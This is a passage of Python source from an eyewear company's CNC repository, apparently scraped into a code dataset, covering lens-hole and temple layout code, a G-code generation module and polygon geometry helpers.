poly.reverse(right_c)\n\n# drawing = dxf.drawing('test.dxf')\n# drawing.add_layer('OUTLINE', color=1)\n# polyline = dxf.polyline(layer=\"OUTLINE\")\n# polyline.add_vertices(left_c)\n# drawing.add(polyline)\n\n\n lhole = poly.erode(tool_radius/2.0, left_c)[0]\n rhole = poly.erode(tool_radius/2.001, right_c);\n rhole = rhole[0]\n# polyline = dxf.polyline(layer=\"OUTLINE\")\n# polyline.add_vertices(lhole)\n# drawing.add(polyline)\n\n\n right_rough = poly.erode((tool_radius + 0.3)/2, right_c)[0]\n left_rough = poly.erode((tool_radius+0.3)/2, left_c)[0]\n #lgroove = poly.erode(0.8, left_c)[0]\n #rgroove = poly.erode(0.8, right_c)[0]\n\n left_entry = poly.erode(5.0, left_c)[0][0];\n right_entry = poly.erode(5.0, right_c)[0][0];\n\n lhole = poly.reverse(lhole)\n rhole = poly.reverse(rhole)\n\n r = [\n \"(Lens Holes)\",\n cam.change_tool(\"1/8in endmill\"),\n cam.start_spindle(22000),\n cam.feedrate(2000),\n cam.rmh(right_entry + [-thickness - 1.0], 1.5, 0.5, 1.0),\n cam.contour(right_rough, True),\n cam.feedrate(1000),\n cam.contour(rhole, True),\n cam.feedrate(2000),\n cam.rmh(left_entry + [-thickness - 1.0], 1.5, 0.5, 1.0),\n cam.contour(left_rough, True),\n cam.feedrate(1000),\n cam.contour(lhole, True),\n\n ]\n return r\n\ndef bevel_entry_hole(temples, thickness):\n\n hole_radius = 8\n tool_radius = 3.175/2 # 1/2 inch\n helix_radius = hole_radius - tool_radius\n r = [\n cam.comment(\"Entry holes for temple bevelling operation\"),\n cam.change_tool(\"1/8in endmill\"),\n cam.start_spindle(22000),\n cam.feedrate(800),\n cam.dwell(5),\n\n ]\n\ndef index_holes(thickness):\n# We put the index holes 1/2 between top and bottom, 160mm apart\n hole_radius = 4.85/2 # Measured from dowel pin\n tool_radius = 3.175/2\n helix_radius = hole_radius - tool_radius\n r = [\n cam.comment(\"Index holes for secondary operations\"),\n cam.change_tool(\"1/8in endmill\"),\n cam.start_spindle(22000),\n cam.feedrate(1000),\n cam.dwell(5),\n # Index holes should be at 90, -90 but are shifted a bit to compensate\n # for inaccuracy on laser fixture\n cam.rmh([0, 85.00, -thickness - 1.0], helix_radius, 0.5, 1),\n cam.rmh([0, -85.00, -thickness - 1.0], helix_radius, 0.5, 1),\n ]\n return r\n\n\ndef nose_pads(order, thickness):\n return []\n\ndef temple_dxf(o, filename, hinge, reverse):\n temple_contour = poly.mirror_y(o['ltemple_con'], False)\n\n # Location in y for the center of the hinge\n hinge_y = -(temple_contour[0][1]+temple_contour[-1][1])/2\n\n temple_contour = poly.mirror_y(temple_contour, True)\n # Only mirror the temple contour, not the hinge, because the hinge is modelled\n # for the RIGHT hinge and we have the LEFT temple\n hinge_contour = hinges.get_hinge(hinge)[\"temple_contour\"]\n hinge_holes = hinges.get_hinge(hinge)[\"temple_holes\"]\n\n # Temple should be at 6 degrees. We tilt the hinge instead for manufacturing\n # ease.\n# hinge_contour = poly.rotate(hinge_contour, 6)\n# hinge_holes = poly.rotate(hinge_holes, 6)\n\n # 0 point of hinge is center of straight edge of hinge. We want the\n # center of the hinge box.\n hinge_center_offset = (poly.top(hinge_contour)+poly.bottom(hinge_contour))/2\n y_offset = hinge_y-hinge_center_offset\n\n # Since we're tilted 6 degrees compared to design space we need to\n # compensate on the x axis\n x_offset = y_offset * math.tan(math.radians(6)) # This adjusts the hinge for the move to the center of the temple\n\n hinge_contour = poly.translate(hinge_contour, x_offset, y_offset)\n hinge_holes = poly.translate(hinge_holes, x_offset, y_offset)\n\n # Reverse for the right temple\n if reverse:\n temple_contour = poly.mirror_x(temple_contour, False)\n hinge_contour = poly.mirror_x(hinge_contour, False)\n hinge_holes = poly.mirror_x(hinge_holes, False)\n\n drawing = dxf.drawing(filename)\n drawing.add_layer(\"CUT\", color=1)\n drawing.add_layer(\"POCKET\", color=2)\n drawing.add_layer(\"TEXT\", color=3)\n polyline = dxf.polyline(layer=\"CUT\", color=1, thickness=0.1)\n polyline.add_vertices(temple_contour)\n drawing.add(polyline)\n polyline = dxf.polyline(layer=\"POCKET\", color=2, thickness = 0.1)\n polyline.add_vertices(hinge_contour)\n drawing.add(polyline)\n for hole in hinge_holes:\n c = dxf.circle(0.5, hole, layer=\"CUT\", color=1)\n drawing.add(c)\n if not reverse:\n # Left temple, add our company name\n # First find Y position 15mm from temple top corner\n xPos = temple_contour[0][0]-15\n yPos = -1\n yStartPos = -1\n for pt in reversed(temple_contour):\n if pt[0] < xPos and yPos < 0:\n yPos = pt[1]-3.5\n elif pt[0] < (xPos - 25):\n yStartPos = pt[1] - 3.5\n break\n angle = math.degrees(math.atan((yPos-yStartPos)/25))\n print 'text angle', angle\n text = dxf.text(\"GUILD eyewear\", style=\"TIMES\", color=3, rotation=angle, height=2.5, alignpoint=[xPos, yPos], halign=2, valign=2)\n drawing.add(text)\n\n\n drawing.save()\n\n\n\ndef arrange_temple_curves(left_temple_contour, hinge):\n # Normalize temple to get origin at 0,0\n left_temple_contour = poly.translate(left_temple_contour, -left_temple_contour[0][0], -left_temple_contour[0][1])\n\n right_temple_contour = poly.mirror_x(left_temple_contour, False)\n\n left_hinge = hinges.get_hinge(hinge)\n right_hinge = hinges.get_hinge(hinge, False)\n hinge_y = (left_temple_contour[0][1]+left_temple_contour[-1][1])/2\n\n left_holes = left_hinge['temple_holes']\n right_holes = right_hinge['temple_holes'] # opposite direction. FIX someday\n right_hinge_contour = right_hinge['temple_contour']\n left_hinge_contour = left_hinge['temple_contour']\n\n # y offset is mucked up because it's calculated from the center of the hinge boxing\n # square, not the center of the straight edge\n highpoint = poly.top(left_hinge_contour);\n lowpoint = poly.bottom(left_hinge_contour);\n y_offset = hinge_y-(lowpoint + (highpoint-lowpoint)/2.0) # Distance to move hinge to center it on temple\n\n # strategy for hinge placement. Align corner of\n print left_temple_contour[0][0], left_temple_contour[-1][0]\n temple_x = left_temple_contour[0][0] - (left_temple_contour[0][0] - left_temple_contour[-1][0]) / 2\n x_offset = temple_x - left_hinge_contour[0][0] - 2.5\n\n left_hinge_contour = poly.translate(left_hinge_contour, x_offset, y_offset)\n left_holes = poly.translate(left_holes, x_offset, y_offset)\n right_hinge_contour = poly.translate(right_hinge_contour, -x_offset, y_offset)\n right_holes = poly.translate(right_holes, -x_offset, y_offset)\n\n left_temple_contour = poly.rotate_90(left_temple_contour)\n left_hinge_contour = poly.rotate_90(left_hinge_contour)\n left_holes = poly.rotate_90(left_holes)\n right_temple_contour = poly.rotate(right_temple_contour, 90)\n right_hinge_contour = poly.rotate(right_hinge_contour, 90)\n right_holes = poly.rotate(right_holes, 90)\n\n # Move them apart so they're not touching\n height = poly.right(left_temple_contour) - poly.left(left_temple_contour)+1\n left_temple_contour = poly.translate(left_temple_contour, height, 0)\n left_holes = poly.translate(left_holes, height, 0)\n left_hinge_contour = poly.translate(left_hinge_contour, height, 0)\n right_temple_contour = poly.translate(right_temple_contour, -height, 0)\n right_holes = poly.translate(right_holes, -height, 0)\n right_hinge_contour = poly.translate(right_hinge_contour, -height, 0)\n\n\n\n# # Move left one left, right one right to offset them\n temple_width = poly.top(left_temple_contour) - poly.bottom(left_temple_contour)\n optimization_offset = (160-temple_width)/2.0\n print 'optimization offset', optimization_offset, temple_width\n left_temple_contour = poly.translate(left_temple_contour, 0, optimization_offset)\n left_holes = poly.translate(left_holes, 0, optimization_offset)\n left_hinge_contour = poly.translate(left_hinge_contour, 0, optimization_offset)\n\n right_temple_contour = poly.translate(right_temple_contour, 0, -optimization_offset)\n right_hinge_contour = poly.translate(right_hinge_contour, 0, -optimization_offset)\n right_holes = poly.translate(right_holes, 0, -optimization_offset)\n\n\n\n # Make sure they're not intersecting\n# translation_step = 2.5\n# intersection = poly.intersection(left_temple_contour, right_temple_contour)\n# while(len(intersection) > 0):\n# left_temple_contour = poly.translate(left_temple_contour, translation_step, 0)\n# left_holes = poly.translate(left_holes, translation_step, 0)\n# left_hinge_contour = poly.translate(left_hinge_contour, translation_step, 0)\n# right_temple_contour = poly.translate(right_temple_contour, -translation_step, 0)\n# right_holes = poly.translate(right_holes, -translation_step, 0)\n# right_hinge_contour = poly.translate(right_hinge_contour, -translation_step, 0)\n# intersection = poly.intersection(left_temple_contour, right_temple_contour)\n # Move them together until they touch (may will not have moved at all above because they are far)\n # then back off.\n #smaller translation step (was 1.0)\n translation_step = 0.1\n\n intersection = []\n while(len(intersection) == 0):\n print \"still intersecting\", len(intersection)\n left_temple_contour = poly.translate(left_temple_contour, -translation_step, 0)\n left_holes = poly.translate(left_holes, -translation_step, 0)\n left_hinge_contour = poly.translate(left_hinge_contour, -translation_step, 0)\n right_temple_contour = poly.translate(right_temple_contour, translation_step, 0)\n right_holes = poly.translate(right_holes, translation_step, 0)\n right_hinge_contour = poly.translate(right_hinge_contour, translation_step, 0)\n intersection = poly.intersection(left_temple_contour, right_temple_contour)\n#\n # Sarah commented the code below out as it seems to be speading the temples out farther than necessary\n # And I don't think we need it?\n\n # We're just overlapping, so now back off\n # translation_step = 0.5\n # left_temple_contour = poly.translate(left_temple_contour, translation_step, 0)\n # left_holes = poly.translate(left_holes, translation_step, 0)\n # left_hinge_contour = poly.translate(left_hinge_contour, translation_step, 0)\n # right_temple_contour = poly.translate(right_temple_contour, -translation_step, 0)\n # right_holes = poly.translate(right_holes, -translation_step, 0)\n # right_hinge_contour = poly.translate(right_hinge_contour, -translation_step, 0)\n\n\n# # sanity check that we fit on stock\n total_width = poly.right(left_temple_contour) - poly.left(right_temple_contour)\n print \"before spreading, total width is:\", total_width\n if total_width > 55:\n print 'Error! temples did not pack tight enough.', total_width\n raise 'Sizing error'\n#\n## Spread them out\n while total_width < 55:\n print \"spreading out temples\"\n left_temple_contour = poly.translate(left_temple_contour, translation_step, 0)\n left_holes = poly.translate(left_holes, translation_step, 0)\n left_hinge_contour = poly.translate(left_hinge_contour, translation_step, 0)\n right_temple_contour = poly.translate(right_temple_contour, -translation_step, 0)\n right_holes = poly.translate(right_holes, -translation_step, 0)\n right_hinge_contour = poly.translate(right_hinge_contour, -translation_step, 0)\n total_width = poly.right(left_temple_contour) - poly.left(right_temple_contour)\n\n intersection = poly.intersection(left_temple_contour, right_temple_contour)\n if len(intersection) > 0:\n print 'Error! Temples are too big to fit on stock.', total_width\n raise 'Sizing Error'\n\n print 'Total width of temples', total_width\n\n # Now they're packed togegther OK but not centred on the stock\n #Midpoint of curves should be 0, so that's how much we'll shift it\n y_centering_shift = poly.bottom(right_temple_contour) + (poly.top(left_temple_contour) - poly.bottom(right_temple_contour))/2.0\n x_centering_shift = (poly.right(left_temple_contour) + poly.left(right_temple_contour))/2;\n\n\n left_temple_contour = poly.translate(left_temple_contour, -x_centering_shift, -y_centering_shift)\n right_temple_contour = poly.translate(right_temple_contour, -x_centering_shift, -y_centering_shift)\n left_hinge_contour = poly.translate(left_hinge_contour, -x_centering_shift, -y_centering_shift)\n right_hinge_contour = poly.translate(right_hinge_contour, -x_centering_shift, -y_centering_shift)\n left_holes = poly.translate(left_holes, -x_centering_shift, -y_centering_shift)\n right_holes = poly.translate(right_holes, -x_centering_shift, -y_centering_shift)\n\n # The temple contours aren't closed, close them here\n # NOTE: Taken out because we close the curves with a little arc to account for front curvature\n #left_temple_contour.append(left_temple_contour[0])\n #right_temple_contour.append(right_temple_contour[0])\n\n return {\n \"pocket_depth\": 1,\n \"left_hinge_contour\": left_hinge_contour,\n \"right_hinge_contour\": right_hinge_contour,\n \"left_hinge_holes\": left_holes,\n \"right_hinge_holes\": right_holes,\n \"left_temple_contour\": left_temple_contour,\n \"right_temple_contour\": right_temple_contour\n }\n\n\n\ndef create_dxf(filename, polys, close=False, close_with_arc=False, right_temple_text=None):\n drawing = dxf.drawing(filename)\n drawing.add_layer('OUTLINE', color=1)\n drawing.add_layer('TEXT', color=2)\n\n for p in polys:\n polyline = dxf.polyline(layer=\"OUTLINE\", thickness=0.1)\n if close:\n p = p + [p[0]] # Close the polygon to avoid a cusp\n elif close_with_arc and p[0] != p[-1]:\n # Temples get a little arc to account for frame curvature after bending.\n # Frame is bent at base 6 curvature, which is 88 mm radius sphere. Plane\n # intersecting sphere at 30mm (about the offset of most temples) is 80mm radius.\n # First find the center of the arc\n\n center_point = (\n p[-1][0] + (p[0][0]-p[-1][0])/2,\n p[-1][1] + (p[0][1]-p[-1][1])/2)\n\n vect = (p[-1][0]-p[0][0], p[-1][1]-p[0][1])\n scale = (vect[0]**2 + vect[1]**2) ** 0.5\n unit_vect = (vect[0]/scale, vect[1]/scale)\n vect = (unit_vect[0]*88, unit_vect[1]*88)\n vect = (vect[1], -vect[0])\n center_point = (center_point[0]+vect[0], center_point[1]+vect[1])\n\n # We set it arbitrarily at 79 mm but the actual radius will be to the end points\n radius = ((center_point[0]-p[0][0])**2 + (center_point[1]-p[0][1])**2) **0.5\n print 'radius', radius\n angle1 = math.atan2(p[0][1]-center_point[1], p[0][0] - center_point[0])\n angle2 = math.atan2(p[-1][1]-center_point[1], p[-1][0] - center_point[0])\n print 'angle of p0', math.degrees(angle1)\n print 'angle of pn1', math.degrees(angle2)\n\n drawing.add(dxf.arc(radius, center_point, math.degrees(angle2), math.degrees(angle1), layer=\"OUTLINE\", thickness=0.1))\n\n\n polyline.add_vertices(p)\n drawing.add(polyline)\n\n if right_temple_text:\n p = polys[1]\n insertion_point = (\n p[-1][0] + (p[0][0]-p[-1][0])/2,\n p[-1][1] + (p[0][1]-p[-1][1])/2)\n\n vect = (p[-1][0]-p[0][0], p[-1][1]-p[0][1])\n scale = (vect[0]**2 + vect[1]**2) ** 0.5\n unit_vect = (vect[0]/scale, vect[1]/scale)\n vect = (unit_vect[0]*15, unit_vect[1]*15)\n vect = (vect[1], -vect[0])\n insertion_point = (insertion_point[0]+vect[0], insertion_point[1]+vect[1]-1)\n\n bottom_vect = (p[100][0]-p[0][0], p[100][1]-p[0][1])\n text_angle = math.atan2(bottom_vect[1], bottom_vect[0])\n print 'text angle', text_angle\n txt = dxf.text(\n right_temple_text,\n insertion_point,\n rotation=math.degrees(text_angle),\n style=\"ARIAL\",\n layer=\"TEXT\",\n height=2.0\n )\n txt2 = dxf.text(\n \"made with love by GUILD eyewear\",\n (insertion_point[0]+0.5, insertion_point[1]-3),\n style=\"TIMES\",\n rotation=math.degrees(text_angle),\n layer=\"TEXT\",\n height=2.0\n )\n drawing.add(txt);\n # drawing.add(txt2);\n drawing.save()\n\ndef check_frame_size(contour):\n # We're limited by our stock size and clamp clearances\n # We can be about 160mm wide max, and about 65mm high max.\n if abs(poly.top(contour)) > 86:\n return \"Frame is too wide: %f mm\" % (poly.top(contour) * 2)\n if poly.right(contour) - poly.left(contour) > 60:\n return \"Frame is too tall: %f mm\" % (poly.right(contour) - poly.left(contour))\n return None\n\n\ndef frame_offset(contour):\n \"\"\"\n The origin of the glasses is in the middle of the pair (i.e. centered at Y) with the\n X origin at the line between the pupils. The fixture on the milling machine has its origin\n centered on the Y axis but with the X axis at the edge of the clamp. We need to shift the\n machine origin toward the middle of the stock.\n \"\"\"\n xoffset = poly.right(contour) + 12.5 # Offset by the furthest point, plus some extra for the tool\n#Note: we don't actually need room for the tool since we're laser cutting the outside.\n return [xoffset, 0]\n\ndef flatten(l):\n '''Flattens a tree structure to a list of strings. Nodes with a value of None are removed.'''\n if type(l) is type(\"\"):\n return [l]\n elif type(l) is type(None):\n return []\n else:\n r = []\n for e in l:\n r += flatten(e)\n return r\n\ndef to_string(l):\n '''Converts a list of strings or a tree structure of strings to a single string for output.'''\n return \"\\n\".join(flatten(l))\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5430447459220886, "alphanum_fraction": 0.5668774247169495, "avg_line_length": 24.943218231201172, "blob_id": "c58161e3ea4642f47ed95393264ac5a30fc923ac", "content_id": "fcc4c5def312355061fa5a727683c933ed17633d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8224, "license_type": "no_license", "max_line_length": 120, "num_lines": 317, "path": "/src/cam.py", "repo_name": "guildeyewear/framebot2", "src_encoding": "UTF-8", "text": "\"\"\"Toolpath and gcode generation.\"\"\"\nTOOL_DEFINITIONS = {\n \"1/16in endmill\": 1,\n \"1/8in endmill\": 2,\n \"1/4in endmill\": 3,\n \"dovetail\": 4,\n \"1/4in ballmill\": 5,\n \"vgroove\" : 6,\n \"1mm drill\": 7,\n \"3/8in endmill\": 8,\n \"engraver\": 9,\n \"empty10\": 10,\n \"tapered\": 11,\n};\n\nFIXTURE_DEFINITIONS = {\n \"default\": \"G54\",\n \"blank_clamp\": \"G55\",\n \"lens_clamp\" : \"G56\"\n};\nPIN_DEFINITIONS = {\n \"stock_clamp\": \"P03\",\n};\n\ndef xyz(point):\n # Format is (x, y) or (x, y, z). (x, y) implies z is None\n x = point[0]\n y = point[1]\n z = None\n\n if len(point) == 3:\n z = point[2]\n r = \"\"\n if x is not None:\n r += \" X%f\" % x\n if y is not None:\n r += \" Y%f\" % y\n if z is not None:\n r += \" Z%f\" % z\n return r\n\ndef rapid(point):\n return [\"G0\" + xyz(point)]\n\ndef move(point):\n return [\"G1\" + xyz(point)]\n\ndef machine_rapid(point):\n return [\"G0\", \"G53\" + xyz(point)]\n\ndef machine_move(point):\n return [\"G1\", \"G53\" + xyz(point)]\n\ndef retract_spindle():\n return [\"G0 G53 Z0\"]\n\ndef feedrate(rate):\n return [\"F%f\" % rate]\n\ndef change_tool(n, retract=True, spindle_off=True):\n '''Change to tool n with an optional retract, included by default.'''\n\n if isinstance(n, basestring):\n n = TOOL_DEFINITIONS[n];\n\n return [\n #stop_spindle() if spindle_off else None,\n #machine_rapid((None, None, 0.0)) if retract else None,\n #dwell(5) if spindle_off else None,\n \"T%d M6 G43 H%d\" % (n, n)\n ]\n\ndef pause():\n return [\"M0\"]\n\ndef stop_spindle():\n return [\"M5\"]\n\ndef spindle_speed(rpm):\n return [\"S%d\" % rpm]\n\ndef start_spindle(rpm=None):\n if rpm != None:\n return spindle_speed(rpm) + start_spindle()\n else:\n return [\"M3\"]\n\ndef relative():\n return [\"G91\"]\n\ndef absolute():\n return [\"G90\"]\n\ndef xy_plane():\n return [\"G17\"]\n\ndef mm():\n return [\"G21\"]\n\ndef flip_stock():\n return [\n deactivate_pin(\"stock_clamp\"),\n pause(),\n activate_pin(\"stock_clamp\"),\n ]\n\ndef surface_along_y(start_x, start_y, end_x, end_y, tool_radius, depth):\n # Adjust start points for tool radius\n if start_y < end_y:\n tool_radius = abs(tool_radius)\n else:\n tool_radius = -(abs(tool_radius))\n #start_y = start_y - tool_radius\n #end_y = end_y + tool_radius\n\n direction = 1\n if start_x < end_x:\n tool_radius = abs(tool_radius)\n else:\n tool_radius = -(abs(tool_radius))\n direction = -1\n start_x = start_x + tool_radius\n end_x = end_x - tool_radius\n x_stepover = tool_radius * 1.5 # Sign of tool_radius depends on start_x compare just before\n\n start = [start_x, start_y]\n current_loc = [start[0], start[1]]\n\n path = [[current_loc[0], current_loc[1]],\n [current_loc[0], end_y]]\n current_loc[1] = end_y\n\n while (current_loc[0] + tool_radius)*direction < end_x*direction:\n # Step over\n current_loc[0] = current_loc[0] + x_stepover\n path = path + [[current_loc[0], current_loc[1]]]\n\n # Cutting move\n if current_loc[1] == start_y:\n current_loc[1] = end_y\n else:\n current_loc[1] = start_y\n path = path + [[current_loc[0], current_loc[1]]]\n\n # Final stepover to finish\n current_loc[0] = end_x\n# path = path + [[current_loc[0], current_loc[1]]]\n if current_loc[1] == start_y:\n current_loc[1] = end_y\n else:\n current_loc[1] = start_y\n# path = path + [[current_loc[0], current_loc[1]]]\n return [\n rmp(start + [depth], retract=50),\n contour(path, False),\n ]\n\ndef cancel_offsets():\n return [\"G92.1\"]\n\ndef arc(point, i, j):\n return [\"G3 X%f Y%f Z%f I%f J%F\" % (point[0], point[1], point[2], i, j)]\n\ndef comment(s):\n return [\"(%s)\" % s]\n\ndef dwell(seconds):\n return [\"G4 P%f\" % seconds]\n\ndef rmp(p, start_height=10.0, retract=20.0):\n \"\"\"Retract-move-plunge (RMP) to given point.\"\"\"\n r = [\n rapid([None, None, retract]),\n rapid([p[0], p[1]]),\n rapid([None, None, start_height]),\n move([None, None, p[2]]),\n ]\n return r\n\ndef rmh(p, radius, start_height=1.0, pitch=0.1, retract=20.0):\n \"\"\"Retract-move-helix (RMH) to given point.\"\"\"\n r = [\n rapid([None, None, retract]),\n rapid([p[0], p[1]]),\n rapid([None, None, start_height]),\n helix(radius, pitch, [p[0], p[1], start_height], p[2]),\n ]\n return r\n\n\ndef flatten(l):\n '''Flattens a tree structure to a list of strings. Nodes with a value of None are removed.'''\n if type(l) is type(\"\"):\n return [l]\n elif type(l) is type(None):\n return []\n else:\n r = []\n for e in l:\n r += flatten(e)\n return r\n\ndef select_fixture(fixture):\n code = None\n if isinstance(fixture, basestring):\n code = FIXTURE_DEFINITIONS[fixture]\n return [code]\n\ndef activate_pin(pinname):\n code = None\n if isinstance(pinname, basestring):\n code = \"M64 %s\" % PIN_DEFINITIONS[pinname]\n return [code]\n\ndef deactivate_pin(pinname):\n code = None\n if isinstance(pinname, basestring):\n code = \"M65 %s\" % PIN_DEFINITIONS[pinname]\n return [code]\n\n\ndef to_string(l):\n '''Converts a list of strings or a tree structure of strings to a single string for output.'''\n return \"\\n\".join(flatten(l)) + \"\\n\" # Mach3 does not process the last line if it does not have a newline at the end\n\ndef setup():\n '''Standard preamble for most milling programs.'''\n return [\n xy_plane(),\n mm(),\n absolute(),\n cancel_offsets(),\n [\"G64 Q0.02\"], # LinuxCNC trajectory planner parameter\n ]\n\ndef end_program():\n return [\n remove_temporary_offset(),\n retract_spindle(),\n select_fixture(\"default\"),\n [\"M30\"], # End program\n ]\n\ndef helix(radius, max_pitch, start_point, end_z):\n # move from start in +x direction by radius of helix (at radius of helix)\n # do full turns at max_pitch until you canna do full turns no more\n # do a turn that has a partial z move to the end_height\n # move from position in -x direction by radius of helix (back to centre)\n\n max_pitch = -abs(max_pitch) # We're always going down baby\n\n start_x = start_point[0]\n start_y = start_point[1]\n start_z = start_point[2]\n\n depth = start_z - end_z\n full_turns = abs(int(depth/float(max_pitch)))\n\n r = [\n move((start_x+radius, None)),\n [arc((start_x+radius, start_y, start_z+(max_pitch*n)), -radius, 0) for n in range(1, full_turns+1)],\n arc((start_x+radius, start_y, end_z), -radius, 0),\n move((start_x, None))\n ]\n\n return r\n\ndef contour(points, closed, cw=False):\n step = {False: 1, True: -1}[cw]\n\n r = [move(p) for p in points[::step]]\n\n if closed:\n r += move(points[0]) # have to move back to start\n\n return r\n\n# Assumes cutter is in X\ndef polar_contour(points):\n return [\n [\"G1 A%f F720\" % points[0][0]],\n [\"G1 A%f X%f\" % (p[0], p[1]) for p in points],\n ]\n\ndef pocket(contours, bottom, retract=5.0):\n '''Poor man's pocket routine. Runs a series of contours at depth to create a pocket.'''\n\n r = []\n\n for c in contours:\n r += rapid(c[0]) # Contour XY\n r += rapid([None, None, retract]) # Retract plane\n r += move([None, None, bottom]) # Plunge\n r += contour(c, True, cw=True) # Run contour\n r += rapid([None, None, retract]) # Retract plane\n\n return r\n\ndef work_offset(n):\n '''G59, Switches to work offset n.'''\n\n if n not in range(1, 255):\n raise Exception(\"Invalid work offset, must be from 1 to 254.\")\n\n return [\"G59 P%d\" % n]\n\ndef temporary_offset(point):\n ''' This would best be done with G52, but that's not supported on Linuxcnc.\n Instead we use G92, which temporarily overwrites the current location of the\n named axis with the value passed in. So if we're at the origin in G55, and\n pass temporary_offset([10, 10]), Linuxcnc will now think that the current\n location is 10,10, effectively shifting the origin by -10, -10.\n '''\n return [\"G92 \" + xyz(point)]\n\ndef remove_temporary_offset():\n return [\"G92.1\"]\n" }, { "alpha_fraction": 0.5951417088508606, "alphanum_fraction": 0.6153846383094788, "avg_line_length": 41.86111068725586, "blob_id": "2664f019fab76bd19a2bcdf840b7a6879a9de431", "content_id": "b79a2d28d4c740c4155a90c9024859138d5a77a9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6175, "license_type": "no_license", "max_line_length": 120, "num_lines": 144, "path": "/src/geometry.py", "repo_name": "guildeyewear/framebot2", "src_encoding": "UTF-8", "text": "import math\nfrom collections import namedtuple\nimport time\n\nPoint = namedtuple('Point', 'x y')\nVector = namedtuple('Vector', 'x y')\nPolarPoint = namedtuple('PolarPoint', 'theta r')\nLineSegment = namedtuple('Line', 'p1 p2')\nRectangle = namedtuple('Rectangle', 'p1 p2') # p1 is top left, p2 is bottom right\n\ntau = math.pi * 2.0 # Pi is wrong\n\nclass Polygon:\n def __init__(self, pts):\n pts = pts or []\n # Accept arrays of Points, lists or tuples\n self.points = [Point(pt[0], pt[1]) for pt in pts]\n if self.points[0] != self.points[-1]:\n self.points.append(Point(self.points[0].x, self.points[0].y))\n if len(self.points) >= 3 and ccw(self.points[0], self.points[1], self.points[2]) <= 0:\n self.points = self.points[::-1]\n def line_segments(self):\n return [LineSegment(a, b) for (a, b) in zip(self.points[0:-1], self.points[1:])]\n def left_extent(self):\n return min([pt.x for pt in self.points])\n def right_extent(self):\n return max([pt.x for pt in self.points])\n def top_extent(self):\n return max([pt.y for pt in self.points])\n def bottom_extent(self):\n return min([pt.y for pt in self.points])\n def bounding_box(self):\n return Rectangle(Point(self.left_extent(), self.top_extent()), Point(self.right_extent(), self.bottom_extent()))\n\ndef point_to_polar(pt):\n return PolarPoint(math.atan2(pt[1], pt[0]), math.sqrt(pt[0]*pt[0] + pt[1]*pt[1]))\n\ndef polar_to_point(polar):\n return Point(polar.r*math.sin(polar.theta), polar.r*math.cos(polar.theta))\n\ndef translate_polygon(polygon, vec):\n return Polygon([(pt.x+vec.x, pt.y+vec.y) for pt in polygon.points])\n\ndef triangle_area(a, b, c):\n \"\"\" Return the area of a triangle. Area is positive if the\n points are counterclockwise, negative if the points\n are clockwise, and 0 if the points are colinear.\"\"\"\n return ((b.x - a.x) * (c.y - a.y) - (c.x - a.x) * (b.y - a.y))/2\n\ndef ccw(a, b, c):\n \"\"\" Return true if the <abc forms a counterclockwise turn, false otherwise.\"\"\"\n return (b.x - a.x) * (c.y - a.y) - (c.x - a.x) * (b.y - a.y)\n\ndef colinear(a, b, c):\n \"\"\" Returns true if a, b, and c are colinear, false otherwise\"\"\"\n return triangle_area(a, b, c) == 0\n\ndef lines_intersect(seg1, seg2):\n \"\"\" Returns true if seg1 intersects seg2, false otherwise.\n Currently ignores the following degeneracies:\n 1) one or both line segments are single points, i.e. p1 == p2\n 2) one of the endpoints of a segment is colinear with the other segment\"\"\"\n a, b = seg1\n c, d = seg2\n if (( a.x > c.x and a.x > d.x and b.x > c.x and b.x > d.x) or\n ( a.x < c.x and a.x < d.x and b.x < c.x and b.x < d.x) or\n ( a.y > c.y and a.y > d.y and b.y > c.y and b.y > d.y) or\n ( a.y < c.y and a.y < d.y and b.y < c.y and b.y < d.y) ):\n return False\n # or\n # (min(seg1.p1.x, seg1.p2.x) > max(seg2.p1.x, seg2.p2.x)) or\n # (max(seg1.p1.y, seg1.p2.y) < min(seg2.p1.y, seg2.p2.y)) or\n # (min(seg1.p1.y, seg1.p2.y) < max(seg2.p1.y, seg2.p2.y)) ):\n # return False\n if ccw(seg1.p1, seg1.p2, seg2.p1) * ccw(seg1.p1, seg1.p2, seg2.p2) > 0:\n return False\n elif ccw(seg2.p1, seg2.p2, seg1.p1) * ccw(seg2.p1, seg2.p2, seg1.p2) > 0:\n return False\n return True\n\ndef line_intersection(seg1, seg2):\n \"\"\" Returns a point giving the interection point of two line segments.\n Returns None if the segments do not intersect.\"\"\"\n if not lines_intersect(seg1, seg2):\n return None\n a, b = seg1\n c, d = seg2\n\n r = (((a.y-c.y)*(d.x-c.x) - (a.x-c.x)*(d.y-c.y)) /\n ((b.x-a.x)*(d.y-c.y) - (b.y-a.y)*(d.x-c.x)))\n return Point(a.x + r*(b.x-a.x), a.y + r*(b.y-a.y))\n\ndef line_polygon_intersection(segment, polygon):\n \"\"\" Returns a list of the points where segment intersects polygon,\n or an empty tuple if there are no intersections.\"\"\"\n intersections = [line_intersection(segment, pseg) for pseg in polygon.line_segments()]\n return [pt for pt in intersections if pt is not None]\n\ndef polygon_contains_point(polygon, pt):\n \"\"\" Returns true if the point lies inside the polygon.\n First, returns False if the pt is outside the bounding box\n of the polygon. Then, creates a horizontal line from the point\n to just outside the right bound of the polygon. The point\n is inside the polygon if the line intersects the polygon an\n odd number of times.\"\"\"\n bound = polygon.bounding_box()\n if pt.x < bound.p1.x or pt.x > bound.p2.x or pt.y > bound.p1.y or pt.y < bound.p2.y:\n return False\n seg = LineSegment(pt, Point(bound.p2.x + 10, pt.y))\n return (len(line_polygon_intersection(seg, polygon))%2 == 1)\n\ndef polygon_to_uniform_polar(polygon, point_count):\n \"\"\" Takes a polygon and converts it to a list of point_count points in polar\n form, with a uniform angle between each point. A polygon drawn from the\n result will not be exactly the same as the input polygon since this function\n doesn't necessarily hit all the vertices.\n Assumes that the origin is contained in the polygon.\"\"\"\n time1 = time.time()\n if not polygon_contains_point(polygon, Point(0.0, 0.0)):\n return []\n time2 = time.time()\n bound = polygon.bounding_box()\n r = max(abs(bound.p1.x), abs(bound.p1.y), abs(bound.p2.x), abs(bound.p2.y)) + 10.0\n\n interval = tau/point_count\n point_circle = [polar_to_point(PolarPoint(interval*i, r)) for i in range(point_count)]\n intersections = [line_polygon_intersection(LineSegment(Point(0,0), pt), polygon) for pt in point_circle]\n polar_form = [point_to_polar(pt) for pts in intersections for pt in pts]\n polar_form.sort(key=lambda pt: pt.theta)\n time3 = time.time()\n return [PolarPoint(pt.theta+tau/2, pt.r) for pt in 